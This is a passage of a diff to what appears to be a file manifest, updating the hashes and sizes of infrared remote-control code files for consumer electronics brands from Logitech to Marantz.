-F:5485138527d88398ea041d2c9f9e515e:1566:infrared/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir +F:9bc7b79659257bed34a59e33f6f8fd5d:3433:infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir +F:c329b6b818cbaef91df3f1e3b693813b:1468:infrared/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir D:infrared/_CSV-IRDB_/Lumagen/Scaler -F:1029985295be06b6d8c98562edaf03db:2298:infrared/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir +F:087c68ea5dab05559edd12232e65191c:2146:infrared/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir D:infrared/_CSV-IRDB_/Luxman/CD Player D:infrared/_CSV-IRDB_/Luxman/Receiver -F:56e58c31053e4fc31e11b04722d4dd88:2972:infrared/_CSV-IRDB_/Luxman/CD Player/204,-1.ir -F:1eb562a450007188b6a62f989267d04f:1935:infrared/_CSV-IRDB_/Luxman/Receiver/204,-1.ir +F:e66431ec8e992ed7c9d94499b5eca95a:2778:infrared/_CSV-IRDB_/Luxman/CD Player/204,-1.ir +F:5d6edee6166d6fbe05cc90f99d35430b:1807:infrared/_CSV-IRDB_/Luxman/Receiver/204,-1.ir D:infrared/_CSV-IRDB_/Luxor/Unknown_DV405 -F:0c0510d4171d4784e033099d7ac5c042:3620:infrared/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir +F:e51b067aab438b66d356957d0c871eb7:3390:infrared/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir D:infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209 -F:07d4ba9961502b65e478da6b8c083877:2869:infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir +F:b8c567d1d7119f0e014afad7b0ed9f88:2687:infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir D:infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting -F:e72465dc5912e2a6924a6ccf073ac43f:2195:infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir +F:c93eb13735bf84ef364abfd2fb708b0e:2049:infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir D:infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV -F:8b7137196e7797e116439cfe72013421:2678:infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir +F:e1bb2dcbe0c6b5f49c20416e108be86e:2508:infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir D:infrared/_CSV-IRDB_/MCL/Unknown_RemoteController -F:dd7620b206173c1ee757f65e8cb8ca5b:2663:infrared/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir +F:4f0654087ad124b451c2801c53445ece:2493:infrared/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir D:infrared/_CSV-IRDB_/METRONIC/Unknown_060501 D:infrared/_CSV-IRDB_/METRONIC/Unknown_SAT -F:280f593ed4a89dd7eb4294dce0fdbbf5:3346:infrared/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir -F:c979d2b1cf6b2f5fc4e4e808c0f74106:2736:infrared/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir +F:6bf1b8899ebd3b8b65294a2e6743446a:3134:infrared/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir +F:c5a12f8ed5c7516150070cdcaac42904:2560:infrared/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir D:infrared/_CSV-IRDB_/MGA/VCR -F:d8c0fbcfb09110f97ceed7573f714633:2600:infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir +F:6197baee79d450484fe269aaccf73d32:2430:infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir D:infrared/_CSV-IRDB_/MIRO/Unknown_MIRO -F:205a9099506cde36be78b61ef3bad320:2029:infrared/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir +F:59ca1c50cd16be830628097711edbe25:1901:infrared/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir D:infrared/_CSV-IRDB_/MISSION/CD Player -F:4d6361b107ec9494bace76f0f2d29cf8:687:infrared/_CSV-IRDB_/MISSION/CD Player/20,-1.ir +F:34c7a49ace3b8fd2bcc2cbb5ccc3798c:643:infrared/_CSV-IRDB_/MISSION/CD Player/20,-1.ir D:infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC D:infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech -F:7f3c3b4965e108e752c103364704dfe5:4330:infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir -F:3ddba0d41749074381b471f5ca974797:4309:infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir +F:2652c8faa5a2c34a86e731683f13206d:4058:infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir +F:83f7046756999b212447591d655022dc:4037:infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir D:infrared/_CSV-IRDB_/MSI/Unknown_MegaPC D:infrared/_CSV-IRDB_/MSI/Unknown_PC D:infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf D:infrared/_CSV-IRDB_/MSI/Unknown_test -F:31ef76fb38a8e68cdf7e6f371a98c1ba:4475:infrared/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir -F:1ae86b4168ff1fbff1f9ff4f052686f0:3215:infrared/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir -F:39e1807aeda68ef2f328a4603753a58c:9399:infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir -F:0dc96bce191cf3682d4939a46dd96089:2310:infrared/_CSV-IRDB_/MSI/Unknown_test/134,107.ir +F:14af57257a9760a0508fbe5dfdb9ed29:4191:infrared/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir +F:739ee7a2108dc2f5172b72497d42d133:3009:infrared/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir +F:f926941b38bed3f5e47eda6552789d1f:8803:infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir +F:50e2efc3f4adb283f00d850eae2e12fc:2164:infrared/_CSV-IRDB_/MSI/Unknown_test/134,107.ir D:infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD -F:5848dbcd4d5a7600d646defc4fae9580:3260:infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir +F:4f7bd722ec2e1378e9ebc5578beeed9f:3054:infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir D:infrared/_CSV-IRDB_/Madrigal/CD Player D:infrared/_CSV-IRDB_/Madrigal/Receiver -F:1111dd598d5bcf8aecdab49f10cf7317:791:infrared/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir -F:2d4b70492bcf55fd146576aaa6d92caf:1485:infrared/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir -F:0451233a86ded39b788e33da1192d639:1225:infrared/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir -F:0e60405e65c3cb2792a11250bc3aec87:4196:infrared/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir +F:984bff71a660be1998778cbc6cadc603:741:infrared/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir +F:fe18c3eb59a7ad30d7c0920ad13d4f9f:1393:infrared/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir +F:729ad1d15a888ab4247a67571e0b3a52:1151:infrared/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir +F:b089f92de0764c44fd755217af27b336:3936:infrared/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir D:infrared/_CSV-IRDB_/Magnavox/DSS D:infrared/_CSV-IRDB_/Magnavox/DVD Player D:infrared/_CSV-IRDB_/Magnavox/DVD Recorder D:infrared/_CSV-IRDB_/Magnavox/TV D:infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS D:infrared/_CSV-IRDB_/Magnavox/VCR -F:6a61ec3c871628a78a53538e09f1b58e:2615:infrared/_CSV-IRDB_/Magnavox/DSS/128,63.ir -F:ddb403c83f73270ab69f8cbe073f727f:3291:infrared/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir -F:626f6f8874e5d6fe9a0c16811887a400:3734:infrared/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir -F:f868cb3893cc936f13fe073c0e577692:3084:infrared/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir -F:f4094d64899caae29c8e27978ec6b59e:2348:infrared/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir -F:7a5a65ce9bb38dab53af0c5d15f41466:2401:infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir -F:6973f90c4c4647f67af2501aefb47470:2510:infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir -F:7908a8e06355c0acd4cb22eba67dc0b6:3561:infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir +F:e545130e9c474af0c1af7227be076d1a:2445:infrared/_CSV-IRDB_/Magnavox/DSS/128,63.ir +F:b983928254f7875092860506f4a62c99:3079:infrared/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir +F:d5c7281a71edfc435e096761d23a867d:3492:infrared/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir +F:78d0591086dfb708fa095ff751a9b7d7:2884:infrared/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir +F:886c35934537fd38b977028af2f0ce6a:2196:infrared/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir +F:088409b208f1f0cab3d3efb95800a0e4:2243:infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir +F:14658d1ac82c390f602ad5117bb0ca99:2352:infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir +F:cba939df4ff73b5fe45d994f744cdb43:3331:infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir D:infrared/_CSV-IRDB_/Magnum/Unknown_5520VT -F:2faa76732ad728fc02f68930d497623a:2868:infrared/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir +F:f2c5f2807bcd205f50a5fbfd97fb2991:2686:infrared/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir D:infrared/_CSV-IRDB_/Magnum Dynalab/Tuner -F:87c9b92754401af6e7d0adebe01a9ca9:2057:infrared/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir +F:086fbde60754ab4dcc9e34acdea7ea4d:1923:infrared/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir D:infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB -F:4321443cc282f749f533f97819783d36:5028:infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir +F:d5c7af08ba7b481f2a19dc8ac7f5185b:4708:infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir D:infrared/_CSV-IRDB_/Makita/Drapery Controller -F:a6989471a682fc2dad3d08e7fb166b3b:2381:infrared/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir +F:fe4f7cae9cdc4563f3583826eebfc8df:2229:infrared/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir D:infrared/_CSV-IRDB_/Malata/DVD Player -F:d12fb145cad7cc3082fb3fda54fc0977:3830:infrared/_CSV-IRDB_/Malata/DVD Player/1,-1.ir +F:282587fcaba7f5cd302bad9b530d11e3:3582:infrared/_CSV-IRDB_/Malata/DVD Player/1,-1.ir D:infrared/_CSV-IRDB_/Manhattan/Unknown_DVD -F:33621e86039f38d6d01d01c70c3670f6:3632:infrared/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir +F:729ef827711885b96f5643292367607e:3402:infrared/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir D:infrared/_CSV-IRDB_/Manta/Unknown_DVD-002 D:infrared/_CSV-IRDB_/Manta/Unknown_DVD-007 -F:00f1cc6b3f015c0c6f5dd408a2ce3c53:4380:infrared/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir -F:ac45e95b025edd2bc1115b83bb04f9f3:4287:infrared/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir +F:dd1017e04c8fdc3c5ae44cc3b3820fb1:4102:infrared/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir +F:eacd4fc96258c39c0278cae899db675b:4015:infrared/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir D:infrared/_CSV-IRDB_/Marantz/Amplifier D:infrared/_CSV-IRDB_/Marantz/CD Changer D:infrared/_CSV-IRDB_/Marantz/CD Jukebox @@ -3802,137 +3802,137 @@ D:infrared/_CSV-IRDB_/Marantz/Unknown_rc D:infrared/_CSV-IRDB_/Marantz/VCR D:infrared/_CSV-IRDB_/Marantz/Video Projector D:infrared/_CSV-IRDB_/Marantz/iPod Dock -F:408f6315facabd2e41ccfa3039362aed:1394:infrared/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir -F:c9d0116fe3ba22e5feadc38aba86ba0e:138:infrared/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir -F:5b37ed161c403a767d6f7e4ec52d5168:143:infrared/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir -F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir -F:195a2717aa71f014e6ec95805b5a5ac6:131:infrared/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir -F:88c656c3a772c08e436dc5683d789d76:141:infrared/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir -F:37bc1b47ab4c93f38a4485e1814ed39d:143:infrared/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir -F:9607c9873bf80b78a0636399041797b4:2982:infrared/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir -F:29e0b39fa2c804e7b4f48d8260128fff:2687:infrared/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir -F:03b82e1355a59c8df7c6635978107319:11732:infrared/_CSV-IRDB_/Marantz/CD Player/20,-1.ir -F:f082e550f747d008b7ffe8bec1fb8dac:1528:infrared/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir -F:e86cb6b250380df8f396f8c34fb8491f:134:infrared/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir -F:2cf332570b3462068efa08a8f95ef641:132:infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir -F:917e20793c699e5f628cb244a847ef4b:4181:infrared/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir -F:c8584b2993f811874aa630a0f6c8a18e:4359:infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir -F:0ace0bb5a2285d5db819822f52279d6b:3908:infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir -F:b4f9d3796dde3aa1afbf4dfab7deca81:131:infrared/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir -F:1410aa5a26624fa56a4c87d52e76b97b:12689:infrared/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir -F:2eff193e3863cfb82f04a7504bbe868b:359:infrared/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir -F:664a528d201f27a890514f85de25fec5:3999:infrared/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir -F:64af3df4f1c296ef587cad3da4e7b0d0:131:infrared/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir -F:6af264e890385580e40570b757b82a91:229:infrared/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir -F:98a1d693eb58148ade42b2465ca4d101:134:infrared/_CSV-IRDB_/Marantz/Plasma/0,-1.ir -F:eb947acb7eb084b558c13ab915beafa1:3164:infrared/_CSV-IRDB_/Marantz/Plasma/24,-1.ir -F:2453bdf170c7060bf1682aa78e5cb0b6:3563:infrared/_CSV-IRDB_/Marantz/Plasma/24,24.ir -F:b1a32664d9e9cf644a0291f3f9808165:230:infrared/_CSV-IRDB_/Marantz/Plasma/24,247.ir -F:0f56fb90d1e832a5d4cd662d2f050f38:1669:infrared/_CSV-IRDB_/Marantz/Plasma/80,-1.ir -F:6790778352544d195762e667f471586f:1936:infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir -F:55cdeeebbec545061babd43c62a80ca5:1573:infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir -F:e44bbbf05dee7a917acbf3ae554a79d7:139:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir -F:78a7059185bc0194ea2e8192b9c72ac9:126:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir -F:97250dd02d1073078d9f45865f80ff42:131:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir -F:84bbb11f97260ad81723da39d2463590:342:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir -F:5e44552bee4f342647d8e84c424e387b:3566:infrared/_CSV-IRDB_/Marantz/Projector/0,-1.ir -F:668ad26c0a555dc2062bc04f3bf55dd3:3391:infrared/_CSV-IRDB_/Marantz/Receiver/0,-1.ir -F:a29caf5a76dacd374365c5cabd1be687:517:infrared/_CSV-IRDB_/Marantz/Receiver/12,-1.ir -F:c964215ebac0bb91a8f51e1943998cd9:11477:infrared/_CSV-IRDB_/Marantz/Receiver/16,-1.ir -F:33a5c2f9a349c6b0a3317d74c53ab337:18274:infrared/_CSV-IRDB_/Marantz/Receiver/17,-1.ir -F:0e922add76999c6a2d71561655439371:1493:infrared/_CSV-IRDB_/Marantz/Receiver/176,-1.ir -F:931e35ba9454d4141b147a2e7f064bde:810:infrared/_CSV-IRDB_/Marantz/Receiver/18,-1.ir -F:17f3892e0b72b5498ceab67d4d315f66:612:infrared/_CSV-IRDB_/Marantz/Receiver/20,-1.ir -F:195a2717aa71f014e6ec95805b5a5ac6:131:infrared/_CSV-IRDB_/Marantz/Receiver/21,-1.ir -F:8c7bb4ce2933444113dae5735441a132:408:infrared/_CSV-IRDB_/Marantz/Receiver/23,-1.ir -F:d1223475664c91b7fceb451c237b1872:983:infrared/_CSV-IRDB_/Marantz/Receiver/26,-1.ir -F:441562894008b23e63f1165234d140b9:129:infrared/_CSV-IRDB_/Marantz/Receiver/39,-1.ir -F:c84d5ccfe8983dffb903faf79881d6fb:971:infrared/_CSV-IRDB_/Marantz/Receiver/4,-1.ir -F:7fcc5a9b460027392b8bb1e9eb5b6722:798:infrared/_CSV-IRDB_/Marantz/Receiver/5,-1.ir -F:e66e153c68fa3bd30608ddc0d584f25d:1274:infrared/_CSV-IRDB_/Marantz/Receiver/6,-1.ir -F:9135c190acce289d79448910988b7c1a:131:infrared/_CSV-IRDB_/Marantz/Receiver/7,-1.ir -F:be50dc07496569a9fc77bad4a730d98d:129:infrared/_CSV-IRDB_/Marantz/Receiver/8,-1.ir -F:0f0d737c1349e8c837dc0bc1d1393e1f:984:infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir -F:3b2f6f8fba33422b3888192855f697c4:126:infrared/_CSV-IRDB_/Marantz/TV/144,0.ir -F:dc1ff5aaa26866fe467c38019eb279b1:1263:infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir -F:7513d627ef35440bd941d31c2e8d9e0f:2118:infrared/_CSV-IRDB_/Marantz/TV/24,24.ir -F:b1a32664d9e9cf644a0291f3f9808165:230:infrared/_CSV-IRDB_/Marantz/TV/24,247.ir -F:0f56fb90d1e832a5d4cd662d2f050f38:1669:infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir -F:2711909319d6bd56b073f98ff4028b13:505:infrared/_CSV-IRDB_/Marantz/Tuner/16,-1.ir -F:07064d57b85d370691e5c08414386ef3:4703:infrared/_CSV-IRDB_/Marantz/Tuner/17,-1.ir -F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Marantz/Tuner/20,-1.ir -F:8cc5246f8b98e2100c4537849975ab48:2330:infrared/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir -F:eb22fdc713fb2eee32514cd552b65771:2858:infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir -F:60bb1a8c2ca214053594ab33b5c02bbc:4093:infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir -F:523784f103d2dbafeaf76a08827d9cbf:2184:infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir -F:f944c6608afd244ae65650830b6c81f9:3337:infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir -F:ee7a493c9d0475702becc3d23b247a10:2480:infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir -F:4e83f3659e5ebc9519ef5dc9fe6e557f:2668:infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir -F:2faf2cfbf3a6be743307597a1700f9e4:4024:infrared/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir -F:6edb7a670edb9ad09af7f226b255ac74:989:infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir -F:532f6bd4145e1061e3dfda73d4831502:134:infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir -F:ecf519d6f50403e6715ffda54505ae69:5886:infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir -F:50fd521b2a42d8f7973af4a92a52fe64:4254:infrared/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir -F:eb4735d05512194256ddb877dfedf995:323:infrared/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir -F:4a8fb9f36d9fd016d30e87b886413839:222:infrared/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir -F:8ce30d4c8e21ada170d4fef696674a6c:316:infrared/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir +F:7f353c97d2e6c5c9bc64cfe9b13b2def:1308:infrared/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir +F:e4e024515d2ef85f8289f14e66f04a34:130:infrared/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir +F:0920ce0ae7498fc949f4aaf8548d8852:135:infrared/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir +F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir +F:eafd65f805ce3cf96384b2add12ddd08:123:infrared/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir +F:b64f2f1fd94def7642034da2891bfa23:133:infrared/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir +F:0c549321c9dddf115cb1c9e003377c55:135:infrared/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir +F:dea42bd3a5b11de4997c93973cd6e2a8:2788:infrared/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir +F:a40de2e61e17c524039a95250359417a:2511:infrared/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir +F:7f319a67fbff906fe30bb4a24cbe6383:10986:infrared/_CSV-IRDB_/Marantz/CD Player/20,-1.ir +F:a2a8cbe783f0925596e5e8f7bb2ce243:1430:infrared/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir +F:621ac042d5f6d12e3894002781432820:126:infrared/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir +F:7234f118e6f06638374730963456314c:124:infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir +F:fdc20f94ae37c831c418aab6e2ab214b:3909:infrared/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir +F:4f69e7588294f841781da93ff96e8694:4075:infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir +F:bbbdcb4d9b7e72d6b9e277d9324dae34:3654:infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir +F:15bfd451b558460240943355aff1efdf:123:infrared/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir +F:274df3eb6a5653ecd0107bfe13bfcc71:11877:infrared/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir +F:f11fc5254f265e1ed18de80e9181367e:339:infrared/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir +F:ac8d2995f7016656defe42f544000ebc:3739:infrared/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir +F:a105398665c0423b7c7fadbdf0c0adf6:123:infrared/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir +F:38adc90d3db99b9efcecdb244695e889:215:infrared/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir +F:81b316d9ee18b8bc9af6ba28b59ce049:126:infrared/_CSV-IRDB_/Marantz/Plasma/0,-1.ir +F:fbc770ee07d55a78ade36db6d7b19023:2964:infrared/_CSV-IRDB_/Marantz/Plasma/24,-1.ir +F:20cb30e2f07428c37f0fb4b2d50132ce:3339:infrared/_CSV-IRDB_/Marantz/Plasma/24,24.ir +F:738e1d0c4ff175718412d83ac7af6b62:216:infrared/_CSV-IRDB_/Marantz/Plasma/24,247.ir +F:9f97bd85aa5bc6ca2723b4f311377b18:1565:infrared/_CSV-IRDB_/Marantz/Plasma/80,-1.ir +F:b47703194ad2a3fb70ec80bece2cfef3:1814:infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir +F:157bb927dfd96937bcb9834de13e9168:1475:infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir +F:194ee2a23332bfc5839a3ce55376f466:131:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir +F:94f07697b2743d391fb617c202916804:118:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir +F:509e3f2db95f32368b87d77967b0fb52:123:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir +F:7aa90e45acea889e0c207c2e8f15ac8e:322:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir +F:76eaa42d96d3632497c17bb5e8631840:3342:infrared/_CSV-IRDB_/Marantz/Projector/0,-1.ir +F:77f89aae22f5f946a6a4cfb72d067e5c:3173:infrared/_CSV-IRDB_/Marantz/Receiver/0,-1.ir +F:df9688c30c5c7b00d89d97986914a719:485:infrared/_CSV-IRDB_/Marantz/Receiver/12,-1.ir +F:23f2f8b7a46070623df2ffaa5a7216c4:10761:infrared/_CSV-IRDB_/Marantz/Receiver/16,-1.ir +F:79d3e0c75caae3458f23d1b91a4ad138:17144:infrared/_CSV-IRDB_/Marantz/Receiver/17,-1.ir +F:2cf0560bd73569172ab010d4d36f3332:1395:infrared/_CSV-IRDB_/Marantz/Receiver/176,-1.ir +F:d3575b1a0ed5d2d3ebbbe57f64888c91:760:infrared/_CSV-IRDB_/Marantz/Receiver/18,-1.ir +F:8858497fdbc6581426a0563cd214406b:574:infrared/_CSV-IRDB_/Marantz/Receiver/20,-1.ir +F:eafd65f805ce3cf96384b2add12ddd08:123:infrared/_CSV-IRDB_/Marantz/Receiver/21,-1.ir +F:1edd6a224a8c3f2185dec41f7b2b9fc3:382:infrared/_CSV-IRDB_/Marantz/Receiver/23,-1.ir +F:2ac7bf26a385648bbb6b5cb838e6d58d:921:infrared/_CSV-IRDB_/Marantz/Receiver/26,-1.ir +F:b2ac2152a5374e8fc47103ec764dbb38:121:infrared/_CSV-IRDB_/Marantz/Receiver/39,-1.ir +F:5ffc70a7c4cc5465d0d8c1f0c4dd3df5:909:infrared/_CSV-IRDB_/Marantz/Receiver/4,-1.ir +F:5434488b5b6f9523b28cf901628a3ab2:748:infrared/_CSV-IRDB_/Marantz/Receiver/5,-1.ir +F:9aaaced461d87371354461755b641743:1194:infrared/_CSV-IRDB_/Marantz/Receiver/6,-1.ir +F:c742e2e4207fd38bfd8101883af3aa34:123:infrared/_CSV-IRDB_/Marantz/Receiver/7,-1.ir +F:82387ddc83fdb40d839cc11b6b8128fe:121:infrared/_CSV-IRDB_/Marantz/Receiver/8,-1.ir +F:0d4b2ef462999c31b2046c5ac4004ad9:922:infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir +F:215c291119554537726bb1ddaaa3115d:118:infrared/_CSV-IRDB_/Marantz/TV/144,0.ir +F:fbef4483179fe94bdcd0d01233f1735e:1183:infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir +F:817b3231d61ff4ad109358dcaccbca93:1984:infrared/_CSV-IRDB_/Marantz/TV/24,24.ir +F:738e1d0c4ff175718412d83ac7af6b62:216:infrared/_CSV-IRDB_/Marantz/TV/24,247.ir +F:9f97bd85aa5bc6ca2723b4f311377b18:1565:infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir +F:a593c6b531c294b80939a3403231f041:473:infrared/_CSV-IRDB_/Marantz/Tuner/16,-1.ir +F:87982f8827c0be354a2d1348ccb67ca1:4401:infrared/_CSV-IRDB_/Marantz/Tuner/17,-1.ir +F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Marantz/Tuner/20,-1.ir +F:d084f9201f21929e4a0ce35ae7314171:2178:infrared/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir +F:581cc2bc293513b8be4928d4916774bc:2676:infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir +F:64aef98ea8d6af623384c3c563376db0:3833:infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir +F:f0e586a32be59e6ad49d2933cdac7235:2044:infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir +F:4dd79a8a40cd5bd9588fafbc8cbd1e70:3125:infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir +F:35e4faae7b5c8d1e8341430af4a9c213:2322:infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir 